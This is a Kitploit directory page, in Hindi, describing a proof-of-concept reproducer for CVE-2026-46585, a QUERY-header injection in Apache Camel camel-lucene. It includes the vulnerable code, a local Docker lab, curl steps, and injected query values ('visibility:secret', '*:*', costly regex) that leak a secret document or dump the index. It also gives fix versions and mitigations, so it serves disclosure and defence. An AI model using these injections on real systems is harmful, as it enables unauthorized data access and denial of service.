Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-46585 — सीवीई-2026-46585 हेतु रीप्रोड्यूसर: Apache Camel camel-lucene QUERY हेडर इंजेक्शन जो प्राधिकरण बायपास / इंडेक्स डेटा एक्सफिल्ट्रेशन सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-46585
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपेनिट्रेशन टेस्टिंग
GitHuboscerd/cve-2026-46585

CVE-2026-46585

सीवीई-2026-46585 हेतु रीप्रोड्यूसर: Apache Camel camel-lucene QUERY हेडर इंजेक्शन जो प्राधिकरण बायपास / इंडेक्स डेटा एक्सफिल्ट्रेशन सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)

रिपॉजिटरी देखें
21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-lucene QUERY हेडर इंजेक्शन रिप्रोड्यूसर (CVE-2026-46585)

यह प्रोजेक्ट Apache Camel के camel-lucene घटक में मैसेज-हेडर इंजेक्शन / प्राधिकरण बायपास को प्रदर्शित करता है, जिसे CVE-2026-46585 के रूप में ट्रैक किया जाता है। Lucene क्वेरी प्रोड्यूसर फ़ुल-टेक्स्ट खोज वाक्यांश को Exchange हेडर से पढ़ता है, लेकिन हेडर का नाम सादा स्ट्रिंग QUERY था (और डॉक्स फ़्लैग के लिए RETURN_LUCENE_DOCS)। चूँकि ये नाम Camel / camel उपसर्ग से नहीं शुरू होते हैं, HttpHeaderFilterStrategy — जो HTTP सीमा पर केवल Camel हेडर नेमस्पेस को ब्लॉक करता है — उन्हें इनबाउंड HTTP अनुरोध से सीधे Exchange में जाने देता है। इसलिए कोई भी HTTP क्लाइंट जो किसी ऐसे रूट को हिट करता है जो HTTP कंज़्यूमर के पीछे Lucene क्वेरी उजागर करता है, QUERY हेडर सेट कर सकता है और उसका मान इंडेक्स के विरुद्ध निष्पादित करवा सकता है, ।

जिससे रूट द्वारा चलाए जाने के इच्छित क्वेरी को ओवरराइड किया जा सकता है

यह PoC प्रभाव को प्राधिकरण बायपास / डेटा एक्सफ़िलट्रेशन के रूप में प्रदर्शित करता है: एक अनप्रमाणित क्लाइंट कच्चे Lucene क्वेरी सिंटैक्स को इंजेक्ट करके ऐसा दस्तावेज़ पढ़ता है जिसे सार्वजनिक खोज एंडपॉइंट कभी लौटाने के लिए नहीं था (और match-all क्वेरी पूरे इंडेक्स को डंप कर देती है)।

परामर्श: https://camel.apache.org/security/CVE-2026-46585.html

भेद्यता सारांश

गुणमान
घटकcamel-lucene
प्रभावित क्लासorg.apache.camel.component.lucene.LuceneQueryProducer जो LuceneConstants.HEADER_QUERY (मान "QUERY") पढ़ता है
CWECWE-20 (अनुचित इनपुट सत्यापन) / CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास)
प्रभावएक HTTP क्लाइंट QUERY हेडर सेट करता है → मनमानी Lucene क्वेरी निष्पादित होती है → इच्छित दायरे से बाहर के दस्तावेज़ पढ़े जाते हैं, या CPU-भारी regex क्वेरी
पूर्वापेक्षाएँएक रूट HTTP कंज़्यूमर (जैसे platform-http) के पीछे lucene:...:query प्रोड्यूसर उजागर करता है; जब कंज़्यूमर अनप्रमाणित होता है
प्रभावित संस्करण4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले
सुधारित संस्करण4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23509
श्रेयAndrea Cosentino (Apache Software Foundation) और Yu Bao (PayPal)

CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 और CVE-2026-46457 के समान हेडर-इंजेक्शन परिवार से संबंधित है, और camel-elasticsearch के SEARCH_QUERY सहयोगी के साथ गैर-Camel-उपसर्गित हेडर-कॉन्स्टेंट मूल कारण साझा करता है।

तकनीकी विवरण

root@kitploit:~
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";

// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
    searcher.open(indexDirectory, analyzer);
    hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs);   // attacker-controlled
}

LuceneSearcher वाक्यांश को क्लासिक QueryParser("contents", analyzer) से पार्स करता है, जिससे हमलावर को पूर्ण Lucene क्वेरी सिंटैक्स मिलता है: फ़ील्डेड टर्म (visibility:secret), match-all (*:*), वाइल्डकार्ड और महंगे रेगुलर एक्सप्रेशन।

फिक्स (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) हेडर मानों का नाम बदलकर Camel परंपरा के अनुसार करता है — HEADER_QUERY को QUERY से CamelLuceneQuery में, और HEADER_RETURN_LUCENE_DOCS को CamelLuceneReturnLuceneDocs में — ताकि वे हर अन्य Camel कंट्रोल हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाएँ। कॉन्स्टेंट फ़ील्ड नाम अपरिवर्तित हैं (LuceneConstants.HEADER_QUERY का संदर्भ देने वाले रूट काम करते रहते हैं); यह केवल उन रूट्स के लिए ब्रेकिंग परिवर्तन है जो इन हेडरों को उनके कच्चे स्ट्रिंग मान से सेट/पढ़ते हैं।

पीड़ित रूट

root@kitploit:~
from("platform-http:/search")
    .removeHeaders("Camel*")                                  // documented hardening — see below
    .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
    .process(/* render the Hits as text */);

रूट लेखक का सुरक्षा मॉडल है "यह एंडपॉइंट केवल सार्वजनिक खोज प्रदान करता है"। प्रलेखित हार्डनिंग के रूप में रूट किनारे पर removeHeaders("Camel*") के साथ Camel कंट्रोल-हेडर नेमस्पेस को भी हटा देता है। इससे कोई मदद नहीं मिलती: कंट्रोल हेडर का नाम QUERY है, न कि CamelLuceneQuery, इसलिए इसे न तो वह कॉल हटाता है और न ही बिल्ट-इन HTTP हेडर फ़िल्टर — और यही CVE का मूल बिंदु है (और ठीक वही जिसे फिक्स का नाम-परिवर्तन संबोधित करता है)।

इंडेक्स में तीन सार्वजनिक दस्तावेज़ हैं और एक गुप्त दस्तावेज़ है जिसे visibility:secret टैग किया गया है और जिसके बॉडी में एक हानिरहित फ़्लैग मार्कर है। एक सामान्य सार्वजनिक खोज (QUERY=onboarding, डिफ़ॉल्ट contents फ़ील्ड के विरुद्ध एक सादा टर्म) इसे कभी नहीं लौटाती; एक इंजेक्टेड फ़ील्डेड क्वेरी इसे लौटाती है।

रिपॉज़िटरी संरचना

पीड़ित Camel खोज रूट और उसका इंडेक्स है; हमलावर एक अनप्रमाणित HTTP क्लाइंट है जो केवल एक अनुरोध हेडर सेट करता है। सब कुछ एक ही स्व-निहित ऐप में चलता है।

root@kitploit:~
CVE-2026-46585/
├── pom.xml                 # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── IndexConfig.java          # registers the index directory as a Camel bean (#kbIndexDir)
    │   ├── IndexBootstrap.java       # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
    │   ├── VictimRoute.java          # from("platform-http:/search").to("lucene:kb:query")
    │   └── ExploitController.java    # attacker: GET /search with an injected QUERY header
    └── resources/
        └── application.properties

पूर्वापेक्षाएँ

  • Java 17+ और Maven 3.8+
  • Docker (वैकल्पिक, कंटेनरीकृत चलाने के लिए)

पुनरुत्पादन चरण

विकल्प A — Docker (अनुशंसित)

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

विकल्प B — jar को सीधे चलाएँ

root@kitploit:~
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack

अपेक्षित आउटपुट

root@kitploit:~
=== 1) Legitimate public search (QUERY=onboarding) ===
  hits=2
    - Frequently asked questions about billing and account onboarding.
    - Welcome onboarding guide: how to use the public knowledge base and search for articles.
  secret leaked: false

=== 2) Injected query (QUERY=visibility:secret) ===
  hits=1
    - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
  secret leaked: true

=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
  hits=4
    - ... (every document, including the secret one) ...

>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true

वैध टर्म खोज केवल सार्वजनिक दस्तावेज़ लौटाती है। हमला अनुरोध — जो केवल एक हेडर के मान में भिन्न होता है जिसे फ्रेमवर्क को फ़िल्टर कर देना चाहिए था — गुप्त दस्तावेज़ पढ़ता है, और match-all क्वेरी पूरा इंडेक्स लौटाती है।

हमले के वेक्टर

कोई भी रूट जिसमें HTTP कंज़्यूमर से पहुँच योग्य lucene:...:query प्रोड्यूसर हो। अनपेक्षित दस्तावेज़ पढ़ने के अलावा, हमलावर यह कर सकता है:

  • किसी रूट के इच्छित प्रति-उपयोगकर्ता/टेनेंट फ़िल्टर को *:* या किसी भिन्न फ़ील्ड प्रेडिकेट से बदल सकता है (प्राधिकरण बायपास)।
  • CPU जलाने के लिए महंगी वाइल्डकार्ड / रेगुलर-एक्सप्रेशन क्वेरी सबमिट कर सकता है (डिनायल-ऑफ़-सर्विस)।

अनुशंसित समाधान

4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509) में अपग्रेड करें। अपग्रेड करने के बाद, जो रूट कच्चे हेडर नाम से क्वेरी सेट करते हैं उन्हें QUERY / RETURN_LUCENE_DOCS के बजाय CamelLuceneQuery (और CamelLuceneReturnLuceneDocs) का उपयोग करना चाहिए; ये Camel-नेमस्पेस वाले नाम हर अन्य कंट्रोल हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाते हैं।

शमन

अपग्रेड करने तक:

  1. Lucene प्रोड्यूसर से पहले हमलावर-नियंत्रणीय हेडर हटाएँ और क्वेरी को विश्वसनीय स्रोत से सेट करें: रूट की शुरुआत में .removeHeader("QUERY") और .removeHeader("RETURN_LUCENE_DOCS"), फिर .setHeader("QUERY", constant(...)) (या सत्यापित इनपुट से इसे बनाएँ)।
  2. क्या क्वेरी की जा सकती है, इस पर प्राधिकरण जाँच के बिना Lucene क्वेरी प्रोड्यूसर को सीधे अविश्वसनीय HTTP क्लाइंट्स के सामने उजागर न करें।

अस्वीकरण

यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और सुधारित भेद्यता के लिए। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।

टूल डाउनलोड करें